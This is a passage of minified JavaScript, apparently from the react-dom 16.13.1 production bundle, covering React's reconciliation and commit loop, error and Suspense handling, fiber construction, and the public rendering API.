i=e.callbackPriority;if(e.callbackExpirationTime===t&&i>=r)return;n!==Ai&&_i(n)}e.callbackExpirationTime=t,e.callbackPriority=r,t=1073741823===t?qi(Js.bind(null,e)):Wi(r,Qs.bind(null,e),{timeout:10*(1073741821-t)-Li()}),e.callbackNode=t}}}function Qs(e,t){if(Ys=0,t)return Il(e,t=Us()),Ks(e),null;var n=Xs(e);if(0!==n){if(t=e.callbackNode,0!==(48&_s))throw Error(o(327));if(ml(),e===Ms&&n===Ts||nl(e,n),null!==Ss){var r=_s;_s|=16;for(var i=il();;)try{ll();break}catch(l){rl(e,l)}if(Ji(),_s=r,ys.current=i,1===Os)throw t=Es,nl(e,n),zl(e,n),Ks(e),t;if(null===Ss)switch(i=e.finishedWork=e.current.alternate,e.finishedExpirationTime=n,r=Os,Ms=null,r){case xs:case 1:throw Error(o(345));case 2:Il(e,2<n?2:n);break;case ws:if(zl(e,n),n===(r=e.lastSuspendedTime)&&(e.nextKnownPendingLevel=fl(i)),1073741823===Cs&&10<(i=Ds+500-Li())){if(zs){var a=e.lastPingedTime;if(0===a||a>=n){e.lastPingedTime=n,nl(e,n);break}}if(0!==(a=Xs(e))&&a!==n)break;if(0!==r&&r!==n){e.lastPingedTime=r;break}e.timeoutHandle=bn(hl.bind(null,e),i);break}hl(e);break;case ks:if(zl(e,n),n===(r=e.lastSuspendedTime)&&(e.nextKnownPendingLevel=fl(i)),zs&&(0===(i=e.lastPingedTime)||i>=n)){e.lastPingedTime=n,nl(e,n);break}if(0!==(i=Xs(e))&&i!==n)break;if(0!==r&&r!==n){e.lastPingedTime=r;break}if(1073741823!==Ns?r=10*(1073741821-Ns)-Li():1073741823===Cs?r=0:(r=10*(1073741821-Cs)-5e3,0>(r=(i=Li())-r)&&(r=0),(n=10*(1073741821-n)-i)<(r=(120>r?120:480>r?480:1080>r?1080:1920>r?1920:3e3>r?3e3:4320>r?4320:1960*gs(r/1960))-r)&&(r=n)),10<r){e.timeoutHandle=bn(hl.bind(null,e),r);break}hl(e);break;case 5:if(1073741823!==Cs&&null!==Ps){a=Cs;var s=Ps;if(0>=(r=0|s.busyMinDurationMs)?r=0:(i=0|s.busyDelayMs,r=(a=Li()-(10*(1073741821-a)-(0|s.timeoutMs||5e3)))<=i?0:i+r-a),10<r){zl(e,n),e.timeoutHandle=bn(hl.bind(null,e),r);break}}hl(e);break;default:throw Error(o(329))}if(Ks(e),e.callbackNode===t)return Qs.bind(null,e)}}return null}function Js(e){var t=e.lastExpiredTime;if(t=0!==t?t:1073741823,0!==(48&_s))throw Error(o(327));if(ml(),e===Ms&&t===Ts||nl(e,t),null!==Ss){var n=_s;_s|=16;for(var r=il();;)try{sl();break}catch(i){rl(e,i)}if(Ji(),_s=n,ys.current=r,1===Os)throw n=Es,nl(e,t),zl(e,t),Ks(e),n;if(null!==Ss)throw Error(o(261));e.finishedWork=e.current.alternate,e.finishedExpirationTime=t,Ms=null,hl(e),Ks(e)}return null}function el(e,t){var n=_s;_s|=1;try{return e(t)}finally{0===(_s=n)&&Yi()}}function tl(e,t){var n=_s;_s&=-2,_s|=8;try{return e(t)}finally{0===(_s=n)&&Yi()}}function nl(e,t){e.finishedWork=null,e.finishedExpirationTime=0;var n=e.timeoutHandle;if(-1!==n&&(e.timeoutHandle=-1,xn(n)),null!==Ss)for(n=Ss.return;null!==n;){var r=n;switch(r.tag){case 1:null!==(r=r.type.childContextTypes)&&void 0!==r&&vi();break;case 3:Aa(),li(hi),li(fi);break;case 5:Da(r);break;case 4:Aa();break;case 13:case 19:li(Ia);break;case 10:ea(r)}n=n.return}Ms=e,Ss=Tl(e.current,null),Ts=t,Os=xs,Es=null,Ns=Cs=1073741823,Ps=null,As=0,zs=!1}function rl(e,t){for(;;){try{if(Ji(),Fa.current=vo,qa)for(var n=Va.memoizedState;null!==n;){var r=n.queue;null!==r&&(r.pending=null),n=n.next}if(Ba=0,Wa=Ha=Va=null,qa=!1,null===Ss||null===Ss.return)return Os=1,Es=t,Ss=null;e:{var i=e,a=Ss.return,o=Ss,s=t;if(t=Ts,o.effectTag|=2048,o.firstEffect=o.lastEffect=null,null!==s&&"object"===typeof s&&"function"===typeof s.then){var l=s;if(0===(2&o.mode)){var u=o.alternate;u?(o.updateQueue=u.updateQueue,o.memoizedState=u.memoizedState,o.expirationTime=u.expirationTime):(o.updateQueue=null,o.memoizedState=null)}var c=0!==(1&Ia.current),f=a;do{var h;if(h=13===f.tag){var d=f.memoizedState;if(null!==d)h=null!==d.dehydrated;else{var p=f.memoizedProps;h=void 0!==p.fallback&&(!0!==p.unstable_avoidThisFallback||!c)}}if(h){var m=f.updateQueue;if(null===m){var v=new Set;v.add(l),f.updateQueue=v}else m.add(l);if(0===(2&f.mode)){if(f.effectTag|=64,o.effectTag&=-2981,1===o.tag)if(null===o.alternate)o.tag=17;else{var g=sa(1073741823,null);g.tag=2,la(o,g)}o.expirationTime=1073741823;break e}s=void 0,o=t;var y=i.pingCache;if(null===y?(y=i.pingCache=new ds,s=new Set,y.set(l,s)):void 0===(s=y.get(l))&&(s=new Set,y.set(l,s)),!s.has(o)){s.add(o);var b=bl.bind(null,i,l,o);l.then(b,b)}f.effectTag|=4096,f.expirationTime=t;break e}f=f.return}while(null!==f);s=Error((ve(o.type)||"A React component")+" suspended while rendering, but no fallback UI was specified.\n\nAdd a <Suspense fallback=...> component higher in the tree to provide a loading indicator or placeholder to display."+ge(o))}5!==Os&&(Os=2),s=Qo(s,o),f=a;do{switch(f.tag){case 3:l=s,f.effectTag|=4096,f.expirationTime=t,ua(f,ps(f,l,t));break e;case 1:l=s;var x=f.type,w=f.stateNode;if(0===(64&f.effectTag)&&("function"===typeof x.getDerivedStateFromError||null!==w&&"function"===typeof w.componentDidCatch&&(null===Fs||!Fs.has(w)))){f.effectTag|=4096,f.expirationTime=t,ua(f,ms(f,l,t));break e}}f=f.return}while(null!==f)}Ss=cl(Ss)}catch(k){t=k;continue}break}}function il(){var e=ys.current;return ys.current=vo,null===e?vo:e}function al(e,t){e<Cs&&2<e&&(Cs=e),null!==t&&e<Ns&&2<e&&(Ns=e,Ps=t)}function ol(e){e>As&&(As=e)}function sl(){for(;null!==Ss;)Ss=ul(Ss)}function ll(){for(;null!==Ss&&!zi();)Ss=ul(Ss)}function ul(e){var t=vs(e.alternate,e,Ts);return e.memoizedProps=e.pendingProps,null===t&&(t=cl(e)),bs.current=null,t}function cl(e){Ss=e;do{var t=Ss.alternate;if(e=Ss.return,0===(2048&Ss.effectTag)){if(t=Xo(t,Ss,Ts),1===Ts||1!==Ss.childExpirationTime){for(var n=0,r=Ss.child;null!==r;){var i=r.expirationTime,a=r.childExpirationTime;i>n&&(n=i),a>n&&(n=a),r=r.sibling}Ss.childExpirationTime=n}if(null!==t)return t;null!==e&&0===(2048&e.effectTag)&&(null===e.firstEffect&&(e.firstEffect=Ss.firstEffect),null!==Ss.lastEffect&&(null!==e.lastEffect&&(e.lastEffect.nextEffect=Ss.firstEffect),e.lastEffect=Ss.lastEffect),1<Ss.effectTag&&(null!==e.lastEffect?e.lastEffect.nextEffect=Ss:e.firstEffect=Ss,e.lastEffect=Ss))}else{if(null!==(t=Ko(Ss)))return t.effectTag&=2047,t;null!==e&&(e.firstEffect=e.lastEffect=null,e.effectTag|=2048)}if(null!==(t=Ss.sibling))return t;Ss=e}while(null!==Ss);return Os===xs&&(Os=5),null}function fl(e){var t=e.expirationTime;return t>(e=e.childExpirationTime)?t:e}function hl(e){var t=Bi();return Hi(99,dl.bind(null,e,t)),null}function dl(e,t){do{ml()}while(null!==Bs);if(0!==(48&_s))throw Error(o(327));var n=e.finishedWork,r=e.finishedExpirationTime;if(null===n)return null;if(e.finishedWork=null,e.finishedExpirationTime=0,n===e.current)throw Error(o(177));e.callbackNode=null,e.callbackExpirationTime=0,e.callbackPriority=90,e.nextKnownPendingLevel=0;var i=fl(n);if(e.firstPendingTime=i,r<=e.lastSuspendedTime?e.firstSuspendedTime=e.lastSuspendedTime=e.nextKnownPendingLevel=0:r<=e.firstSuspendedTime&&(e.firstSuspendedTime=r-1),r<=e.lastPingedTime&&(e.lastPingedTime=0),r<=e.lastExpiredTime&&(e.lastExpiredTime=0),e===Ms&&(Ss=Ms=null,Ts=0),1<n.effectTag?null!==n.lastEffect?(n.lastEffect.nextEffect=n,i=n.firstEffect):i=n:i=n.firstEffect,null!==i){var a=_s;_s|=32,bs.current=null,mn=Ut;var s=dn();if(pn(s)){if("selectionStart"in s)var l={start:s.selectionStart,end:s.selectionEnd};else e:{var u=(l=(l=s.ownerDocument)&&l.defaultView||window).getSelection&&l.getSelection();if(u&&0!==u.rangeCount){l=u.anchorNode;var c=u.anchorOffset,f=u.focusNode;u=u.focusOffset;try{l.nodeType,f.nodeType}catch(T){l=null;break e}var h=0,d=-1,p=-1,m=0,v=0,g=s,y=null;t:for(;;){for(var b;g!==l||0!==c&&3!==g.nodeType||(d=h+c),g!==f||0!==u&&3!==g.nodeType||(p=h+u),3===g.nodeType&&(h+=g.nodeValue.length),null!==(b=g.firstChild);)y=g,g=b;for(;;){if(g===s)break t;if(y===l&&++m===c&&(d=h),y===f&&++v===u&&(p=h),null!==(b=g.nextSibling))break;y=(g=y).parentNode}g=b}l=-1===d||-1===p?null:{start:d,end:p}}else l=null}l=l||{start:0,end:0}}else l=null;vn={activeElementDetached:null,focusedElem:s,selectionRange:l},Ut=!1,Is=i;do{try{pl()}catch(T){if(null===Is)throw Error(o(330));yl(Is,T),Is=Is.nextEffect}}while(null!==Is);Is=i;do{try{for(s=e,l=t;null!==Is;){var x=Is.effectTag;if(16&x&&Be(Is.stateNode,""),128&x){var w=Is.alternate;if(null!==w){var k=w.ref;null!==k&&("function"===typeof k?k(null):k.current=null)}}switch(1038&x){case 2:us(Is),Is.effectTag&=-3;break;case 6:us(Is),Is.effectTag&=-3,fs(Is.alternate,Is);break;case 1024:Is.effectTag&=-1025;break;case 1028:Is.effectTag&=-1025,fs(Is.alternate,Is);break;case 4:fs(Is.alternate,Is);break;case 8:cs(s,c=Is,l),ss(c)}Is=Is.nextEffect}}catch(T){if(null===Is)throw Error(o(330));yl(Is,T),Is=Is.nextEffect}}while(null!==Is);if(k=vn,w=dn(),x=k.focusedElem,l=k.selectionRange,w!==x&&x&&x.ownerDocument&&function e(t,n){return!(!t||!n)&&(t===n||(!t||3!==t.nodeType)&&(n&&3===n.nodeType?e(t,n.parentNode):"contains"in t?t.contains(n):!!t.compareDocumentPosition&&!!(16&t.compareDocumentPosition(n))))}(x.ownerDocument.documentElement,x)){null!==l&&pn(x)&&(w=l.start,void 0===(k=l.end)&&(k=w),"selectionStart"in x?(x.selectionStart=w,x.selectionEnd=Math.min(k,x.value.length)):(k=(w=x.ownerDocument||document)&&w.defaultView||window).getSelection&&(k=k.getSelection(),c=x.textContent.length,s=Math.min(l.start,c),l=void 0===l.end?s:Math.min(l.end,c),!k.extend&&s>l&&(c=l,l=s,s=c),c=hn(x,s),f=hn(x,l),c&&f&&(1!==k.rangeCount||k.anchorNode!==c.node||k.anchorOffset!==c.offset||k.focusNode!==f.node||k.focusOffset!==f.offset)&&((w=w.createRange()).setStart(c.node,c.offset),k.removeAllRanges(),s>l?(k.addRange(w),k.extend(f.node,f.offset)):(w.setEnd(f.node,f.offset),k.addRange(w))))),w=[];for(k=x;k=k.parentNode;)1===k.nodeType&&w.push({element:k,left:k.scrollLeft,top:k.scrollTop});for("function"===typeof x.focus&&x.focus(),x=0;x<w.length;x++)(k=w[x]).element.scrollLeft=k.left,k.element.scrollTop=k.top}Ut=!!mn,vn=mn=null,e.current=n,Is=i;do{try{for(x=e;null!==Is;){var _=Is.effectTag;if(36&_&&as(x,Is.alternate,Is),128&_){w=void 0;var M=Is.ref;if(null!==M){var S=Is.stateNode;switch(Is.tag){case 5:w=S;break;default:w=S}"function"===typeof M?M(w):M.current=w}}Is=Is.nextEffect}}catch(T){if(null===Is)throw Error(o(330));yl(Is,T),Is=Is.nextEffect}}while(null!==Is);Is=null,Di(),_s=a}else e.current=n;if(Ls)Ls=!1,Bs=e,Vs=t;else for(Is=i;null!==Is;)t=Is.nextEffect,Is.nextEffect=null,Is=t;if(0===(t=e.firstPendingTime)&&(Fs=null),1073741823===t?e===qs?Ws++:(Ws=0,qs=e):Ws=0,"function"===typeof wl&&wl(n.stateNode,r),Ks(e),Rs)throw Rs=!1,e=js,js=null,e;return 0!==(8&_s)||Yi(),null}function pl(){for(;null!==Is;){var e=Is.effectTag;0!==(256&e)&&ns(Is.alternate,Is),0===(512&e)||Ls||(Ls=!0,Wi(97,(function(){return ml(),null}))),Is=Is.nextEffect}}function ml(){if(90!==Vs){var e=97<Vs?97:Vs;return Vs=90,Hi(e,vl)}}function vl(){if(null===Bs)return!1;var e=Bs;if(Bs=null,0!==(48&_s))throw Error(o(331));var t=_s;for(_s|=32,e=e.current.firstEffect;null!==e;){try{var n=e;if(0!==(512&n.effectTag))switch(n.tag){case 0:case 11:case 15:case 22:rs(5,n),is(5,n)}}catch(r){if(null===e)throw Error(o(330));yl(e,r)}n=e.nextEffect,e.nextEffect=null,e=n}return _s=t,Yi(),!0}function gl(e,t,n){la(e,t=ps(e,t=Qo(n,t),1073741823)),null!==(e=Zs(e,1073741823))&&Ks(e)}function yl(e,t){if(3===e.tag)gl(e,e,t);else for(var n=e.return;null!==n;){if(3===n.tag){gl(n,e,t);break}if(1===n.tag){var r=n.stateNode;if("function"===typeof n.type.getDerivedStateFromError||"function"===typeof r.componentDidCatch&&(null===Fs||!Fs.has(r))){la(n,e=ms(n,e=Qo(t,e),1073741823)),null!==(n=Zs(n,1073741823))&&Ks(n);break}}n=n.return}}function bl(e,t,n){var r=e.pingCache;null!==r&&r.delete(t),Ms===e&&Ts===n?Os===ks||Os===ws&&1073741823===Cs&&Li()-Ds<500?nl(e,Ts):zs=!0:Al(e,n)&&(0!==(t=e.lastPingedTime)&&t<n||(e.lastPingedTime=n,Ks(e)))}function xl(e,t){var n=e.stateNode;null!==n&&n.delete(t),0===(t=0)&&(t=$s(t=Us(),e,null)),null!==(e=Zs(e,t))&&Ks(e)}vs=function(e,t,n){var r=t.expirationTime;if(null!==e){var i=t.pendingProps;if(e.memoizedProps!==i||hi.current)No=!0;else{if(r<n){switch(No=!1,t.tag){case 3:Lo(t),Eo();break;case 5:if(za(t),4&t.mode&&1!==n&&i.hidden)return t.expirationTime=t.childExpirationTime=1,null;break;case 1:mi(t.type)&&bi(t);break;case 4:Pa(t,t.stateNode.containerInfo);break;case 10:r=t.memoizedProps.value,i=t.type._context,ui(Zi,i._currentValue),i._currentValue=r;break;case 13:if(null!==t.memoizedState)return 0!==(r=t.child.childExpirationTime)&&r>=n?qo(e,t,n):(ui(Ia,1&Ia.current),null!==(t=Go(e,t,n))?t.sibling:null);ui(Ia,1&Ia.current);break;case 19:if(r=t.childExpirationTime>=n,0!==(64&e.effectTag)){if(r)return $o(e,t,n);t.effectTag|=64}if(null!==(i=t.memoizedState)&&(i.rendering=null,i.tail=null),ui(Ia,Ia.current),!r)return null}return Go(e,t,n)}No=!1}}else No=!1;switch(t.expirationTime=0,t.tag){case 2:if(r=t.type,null!==e&&(e.alternate=null,t.alternate=null,t.effectTag|=2),e=t.pendingProps,i=pi(t,fi.current),na(t,n),i=$a(null,t,r,e,i,n),t.effectTag|=1,"object"===typeof i&&null!==i&&"function"===typeof i.render&&void 0===i.$$typeof){if(t.tag=1,t.memoizedState=null,t.updateQueue=null,mi(r)){var a=!0;bi(t)}else a=!1;t.memoizedState=null!==i.state&&void 0!==i.state?i.state:null,aa(t);var s=r.getDerivedStateFromProps;"function"===typeof s&&pa(t,r,s,e),i.updater=ma,t.stateNode=i,i._reactInternalFiber=t,ba(t,r,e,n),t=Fo(null,t,r,!0,a,n)}else t.tag=0,Po(null,t,i,n),t=t.child;return t;case 16:e:{if(i=t.elementType,null!==e&&(e.alternate=null,t.alternate=null,t.effectTag|=2),e=t.pendingProps,function(e){if(-1===e._status){e._status=0;var t=e._ctor;t=t(),e._result=t,t.then((function(t){0===e._status&&(t=t.default,e._status=1,e._result=t)}),(function(t){0===e._status&&(e._status=2,e._result=t)}))}}(i),1!==i._status)throw i._result;switch(i=i._result,t.type=i,a=t.tag=function(e){if("function"===typeof e)return Sl(e)?1:0;if(void 0!==e&&null!==e){if((e=e.$$typeof)===le)return 11;if(e===fe)return 14}return 2}(i),e=Gi(i,e),a){case 0:t=Ro(null,t,i,e,n);break e;case 1:t=jo(null,t,i,e,n);break e;case 11:t=Ao(null,t,i,e,n);break e;case 14:t=zo(null,t,i,Gi(i.type,e),r,n);break e}throw Error(o(306,i,""))}return t;case 0:return r=t.type,i=t.pendingProps,Ro(e,t,r,i=t.elementType===r?i:Gi(r,i),n);case 1:return r=t.type,i=t.pendingProps,jo(e,t,r,i=t.elementType===r?i:Gi(r,i),n);case 3:if(Lo(t),r=t.updateQueue,null===e||null===r)throw Error(o(282));if(r=t.pendingProps,i=null!==(i=t.memoizedState)?i.element:null,oa(e,t),ca(t,r,null,n),(r=t.memoizedState.element)===i)Eo(),t=Go(e,t,n);else{if((i=t.stateNode.hydrate)&&(wo=wn(t.stateNode.containerInfo.firstChild),xo=t,i=ko=!0),i)for(n=Sa(t,null,r,n),t.child=n;n;)n.effectTag=-3&n.effectTag|1024,n=n.sibling;else Po(e,t,r,n),Eo();t=t.child}return t;case 5:return za(t),null===e&&So(t),r=t.type,i=t.pendingProps,a=null!==e?e.memoizedProps:null,s=i.children,yn(r,i)?s=null:null!==a&&yn(r,a)&&(t.effectTag|=16),Io(e,t),4&t.mode&&1!==n&&i.hidden?(t.expirationTime=t.childExpirationTime=1,t=null):(Po(e,t,s,n),t=t.child),t;case 6:return null===e&&So(t),null;case 13:return qo(e,t,n);case 4:return Pa(t,t.stateNode.containerInfo),r=t.pendingProps,null===e?t.child=Ma(t,null,r,n):Po(e,t,r,n),t.child;case 11:return r=t.type,i=t.pendingProps,Ao(e,t,r,i=t.elementType===r?i:Gi(r,i),n);case 7:return Po(e,t,t.pendingProps,n),t.child;case 8:case 12:return Po(e,t,t.pendingProps.children,n),t.child;case 10:e:{r=t.type._context,i=t.pendingProps,s=t.memoizedProps,a=i.value;var l=t.type._context;if(ui(Zi,l._currentValue),l._currentValue=a,null!==s)if(l=s.value,0===(a=jr(l,a)?0:0|("function"===typeof r._calculateChangedBits?r._calculateChangedBits(l,a):1073741823))){if(s.children===i.children&&!hi.current){t=Go(e,t,n);break e}}else for(null!==(l=t.child)&&(l.return=t);null!==l;){var u=l.dependencies;if(null!==u){s=l.child;for(var c=u.firstContext;null!==c;){if(c.context===r&&0!==(c.observedBits&a)){1===l.tag&&((c=sa(n,null)).tag=2,la(l,c)),l.expirationTime<n&&(l.expirationTime=n),null!==(c=l.alternate)&&c.expirationTime<n&&(c.expirationTime=n),ta(l.return,n),u.expirationTime<n&&(u.expirationTime=n);break}c=c.next}}else s=10===l.tag&&l.type===t.type?null:l.child;if(null!==s)s.return=l;else for(s=l;null!==s;){if(s===t){s=null;break}if(null!==(l=s.sibling)){l.return=s.return,s=l;break}s=s.return}l=s}Po(e,t,i.children,n),t=t.child}return t;case 9:return i=t.type,r=(a=t.pendingProps).children,na(t,n),r=r(i=ra(i,a.unstable_observedBits)),t.effectTag|=1,Po(e,t,r,n),t.child;case 14:return a=Gi(i=t.type,t.pendingProps),zo(e,t,i,a=Gi(i.type,a),r,n);case 15:return Do(e,t,t.type,t.pendingProps,r,n);case 17:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Gi(r,i),null!==e&&(e.alternate=null,t.alternate=null,t.effectTag|=2),t.tag=1,mi(r)?(e=!0,bi(t)):e=!1,na(t,n),ga(t,r,i),ba(t,r,i,n),Fo(null,t,r,!0,e,n);case 19:return $o(e,t,n)}throw Error(o(156,t.tag))};var wl=null,kl=null;function _l(e,t,n,r){this.tag=e,this.key=n,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=t,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=r,this.effectTag=0,this.lastEffect=this.firstEffect=this.nextEffect=null,this.childExpirationTime=this.expirationTime=0,this.alternate=null}function Ml(e,t,n,r){return new _l(e,t,n,r)}function Sl(e){return!(!(e=e.prototype)||!e.isReactComponent)}function Tl(e,t){var n=e.alternate;return null===n?((n=Ml(e.tag,t,e.key,e.mode)).elementType=e.elementType,n.type=e.type,n.stateNode=e.stateNode,n.alternate=e,e.alternate=n):(n.pendingProps=t,n.effectTag=0,n.nextEffect=null,n.firstEffect=null,n.lastEffect=null),n.childExpirationTime=e.childExpirationTime,n.expirationTime=e.expirationTime,n.child=e.child,n.memoizedProps=e.memoizedProps,n.memoizedState=e.memoizedState,n.updateQueue=e.updateQueue,t=e.dependencies,n.dependencies=null===t?null:{expirationTime:t.expirationTime,firstContext:t.firstContext,responders:t.responders},n.sibling=e.sibling,n.index=e.index,n.ref=e.ref,n}function Ol(e,t,n,r,i,a){var s=2;if(r=e,"function"===typeof e)Sl(e)&&(s=1);else if("string"===typeof e)s=5;else e:switch(e){case ne:return El(n.children,i,a,t);case se:s=8,i|=7;break;case re:s=8,i|=1;break;case ie:return(e=Ml(12,n,t,8|i)).elementType=ie,e.type=ie,e.expirationTime=a,e;case ue:return(e=Ml(13,n,t,i)).type=ue,e.elementType=ue,e.expirationTime=a,e;case ce:return(e=Ml(19,n,t,i)).elementType=ce,e.expirationTime=a,e;default:if("object"===typeof e&&null!==e)switch(e.$$typeof){case ae:s=10;break e;case oe:s=9;break e;case le:s=11;break e;case fe:s=14;break e;case he:s=16,r=null;break e;case de:s=22;break e}throw Error(o(130,null==e?e:typeof e,""))}return(t=Ml(s,n,t,i)).elementType=e,t.type=r,t.expirationTime=a,t}function El(e,t,n,r){return(e=Ml(7,e,r,t)).expirationTime=n,e}function Cl(e,t,n){return(e=Ml(6,e,null,t)).expirationTime=n,e}function Nl(e,t,n){return(t=Ml(4,null!==e.children?e.children:[],e.key,t)).expirationTime=n,t.stateNode={containerInfo:e.containerInfo,pendingChildren:null,implementation:e.implementation},t}function Pl(e,t,n){this.tag=t,this.current=null,this.containerInfo=e,this.pingCache=this.pendingChildren=null,this.finishedExpirationTime=0,this.finishedWork=null,this.timeoutHandle=-1,this.pendingContext=this.context=null,this.hydrate=n,this.callbackNode=null,this.callbackPriority=90,this.lastExpiredTime=this.lastPingedTime=this.nextKnownPendingLevel=this.lastSuspendedTime=this.firstSuspendedTime=this.firstPendingTime=0}function Al(e,t){var n=e.firstSuspendedTime;return e=e.lastSuspendedTime,0!==n&&n>=t&&e<=t}function zl(e,t){var n=e.firstSuspendedTime,r=e.lastSuspendedTime;n<t&&(e.firstSuspendedTime=t),(r>t||0===n)&&(e.lastSuspendedTime=t),t<=e.lastPingedTime&&(e.lastPingedTime=0),t<=e.lastExpiredTime&&(e.lastExpiredTime=0)}function Dl(e,t){t>e.firstPendingTime&&(e.firstPendingTime=t);var n=e.firstSuspendedTime;0!==n&&(t>=n?e.firstSuspendedTime=e.lastSuspendedTime=e.nextKnownPendingLevel=0:t>=e.lastSuspendedTime&&(e.lastSuspendedTime=t+1),t>e.nextKnownPendingLevel&&(e.nextKnownPendingLevel=t))}function Il(e,t){var n=e.lastExpiredTime;(0===n||n>t)&&(e.lastExpiredTime=t)}function Rl(e,t,n,r){var i=t.current,a=Us(),s=ha.suspense;a=$s(a,i,s);e:if(n){t:{if(Je(n=n._reactInternalFiber)!==n||1!==n.tag)throw Error(o(170));var l=n;do{switch(l.tag){case 3:l=l.stateNode.context;break t;case 1:if(mi(l.type)){l=l.stateNode.__reactInternalMemoizedMergedChildContext;break t}}l=l.return}while(null!==l);throw Error(o(171))}if(1===n.tag){var u=n.type;if(mi(u)){n=yi(n,u,l);break e}}n=l}else n=ci;return null===t.context?t.context=n:t.pendingContext=n,(t=sa(a,s)).payload={element:e},null!==(r=void 0===r?null:r)&&(t.callback=r),la(i,t),Gs(i,a),a}function jl(e){if(!(e=e.current).child)return null;switch(e.child.tag){case 5:default:return e.child.stateNode}}function Fl(e,t){null!==(e=e.memoizedState)&&null!==e.dehydrated&&e.retryTime<t&&(e.retryTime=t)}function Ll(e,t){Fl(e,t),(e=e.alternate)&&Fl(e,t)}function Bl(e,t,n){var r=new Pl(e,t,n=null!=n&&!0===n.hydrate),i=Ml(3,null,null,2===t?7:1===t?3:0);r.current=i,i.stateNode=r,aa(i),e[Tn]=r.current,n&&0!==t&&function(e,t){var n=Qe(t);Tt.forEach((function(e){pt(e,t,n)})),Ot.forEach((function(e){pt(e,t,n)}))}(0,9===e.nodeType?e:e.ownerDocument),this._internalRoot=r}function Vl(e){return!(!e||1!==e.nodeType&&9!==e.nodeType&&11!==e.nodeType&&(8!==e.nodeType||" react-mount-point-unstable "!==e.nodeValue))}function Hl(e,t,n,r,i){var a=n._reactRootContainer;if(a){var o=a._internalRoot;if("function"===typeof i){var s=i;i=function(){var e=jl(o);s.call(e)}}Rl(t,o,e,i)}else{if(a=n._reactRootContainer=function(e,t){if(t||(t=!(!(t=e?9===e.nodeType?e.documentElement:e.firstChild:null)||1!==t.nodeType||!t.hasAttribute("data-reactroot"))),!t)for(var n;n=e.lastChild;)e.removeChild(n);return new Bl(e,0,t?{hydrate:!0}:void 0)}(n,r),o=a._internalRoot,"function"===typeof i){var l=i;i=function(){var e=jl(o);l.call(e)}}tl((function(){Rl(t,o,e,i)}))}return jl(o)}function Wl(e,t,n){var r=3<arguments.length&&void 0!==arguments[3]?arguments[3]:null;return{$$typeof:te,key:null==r?null:""+r,children:e,containerInfo:t,implementation:n}}function ql(e,t){var n=2<arguments.length&&void 0!==arguments[2]?arguments[2]:null;if(!Vl(t))throw Error(o(200));return Wl(e,t,null,n)}Bl.prototype.render=function(e){Rl(e,this._internalRoot,null,null)},Bl.prototype.unmount=function(){var e=this._internalRoot,t=e.containerInfo;Rl(null,e,null,(function(){t[Tn]=null}))},mt=function(e){if(13===e.tag){var t=$i(Us(),150,100);Gs(e,t),Ll(e,t)}},vt=function(e){13===e.tag&&(Gs(e,3),Ll(e,3))},gt=function(e){if(13===e.tag){var t=Us();Gs(e,t=$s(t,e,null)),Ll(e,t)}},E=function(e,t,n){switch(t){case"input":if(Se(e,n),t=n.name,"radio"===n.type&&null!=t){for(n=e;n.parentNode;)n=n.parentNode;for(n=n.querySelectorAll("input[name="+JSON.stringify(""+t)+'][type="radio"]'),t=0;t<n.length;t++){var r=n[t];if(r!==e&&r.form===e.form){var i=Nn(r);if(!i)throw Error(o(90));we(r),Se(r,i)}}}break;case"textarea":Ae(e,n);break;case"select":null!=(t=n.value)&&Ce(e,!!n.multiple,t,!1)}},D=el,I=function(e,t,n,r,i){var a=_s;_s|=4;try{return Hi(98,e.bind(null,t,n,r,i))}finally{0===(_s=a)&&Yi()}},R=function(){0===(49&_s)&&(function(){if(null!==Hs){var e=Hs;Hs=null,e.forEach((function(e,t){Il(t,e),Ks(t)})),Yi()}}(),ml())},j=function(e,t){var n=_s;_s|=2;try{return e(t)}finally{0===(_s=n)&&Yi()}};var Yl={Events:[En,Cn,Nn,T,_,jn,function(e){it(e,Rn)},A,z,Kt,st,ml,{current:!1}]};!function(e){var t=e.findFiberByHostInstance;(function(e){if("undefined"===typeof __REACT_DEVTOOLS_GLOBAL_HOOK__)return!1;var t=__REACT_DEVTOOLS_GLOBAL_HOOK__;if(t.isDisabled||!t.supportsFiber)return!0;try{var n=t.inject(e);wl=function(e){try{t.onCommitFiberRoot(n,e,void 0,64===(64&e.current.effectTag))}catch(r){}},kl=function(e){try{t.onCommitFiberUnmount(n,e)}catch(r){}}}catch(r){}})(i({},e,{overrideHookState:null,overrideProps:null,setSuspenseHandler:null,scheduleUpdate:null,currentDispatcherRef:X.ReactCurrentDispatcher,findHostInstanceByFiber:function(e){return null===(e=nt(e))?null:e.stateNode},findFiberByHostInstance:function(e){return t?t(e):null},findHostInstancesForRefresh:null,scheduleRefresh:null,scheduleRoot:null,setRefreshHandler:null,getCurrentFiber:null}))}({findFiberByHostInstance:On,bundleType:0,version:"16.13.1",rendererPackageName:"react-dom"}),t.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED=Yl,t.createPortal=ql,t.findDOMNode=function(e){if(null==e)return null;if(1===e.nodeType)return e;var t=e._reactInternalFiber;if(void 0===t){if("function"===typeof e.render)throw Error(o(188));throw Error(o(268,Object.keys(e)))}return e=null===(e=nt(t))?null:e.stateNode},t.flushSync=function(e,t){if(0!==(48&_s))throw Error(o(187));var n=_s;_s|=1;try{return Hi(99,e.bind(null,t))}finally{_s=n,Yi()}},t.hydrate=function(e,t,n){if(!Vl(t))throw Error(o(200));return Hl(null,e,t,!0,n)},t.render=function(e,t,n){if(!Vl(t))throw Error(o(200));return Hl(null,e,t,!1,n)},t.unmountComponentAtNode=function(e){if(!Vl(e))throw Error(o(40));return!!e._reactRootContainer&&(tl((function(){Hl(null,null,e,!1,(function(){e._reactRootContainer=null,e[Tn]=null}))})),!0)},t.unstable_batchedUpdates=el,t.unstable_createPortal=function(e,t){return ql(e,t,2<arguments.length&&void 0!==arguments[2]?arguments[2]:null)},t.unstable_renderSubtreeIntoContainer=function(e,t,n,r){if(!Vl(n))throw Error(o(200));if(null==e||void 0===e._reactInternalFiber)throw Error(o(38));return Hl(e,t,n,!1,r)},t.version="16.13.1"},function(e,t,n){"use strict";e.exports=n(82)},function(e,t,n){"use strict";var r,i,a,o,s;if("undefined"===typeof window||"function"!==typeof MessageChannel){var l=null,u=null,c=function e(){if(null!==l)try{var n=t.unstable_now();l(!0,n),l=null}catch(r){throw 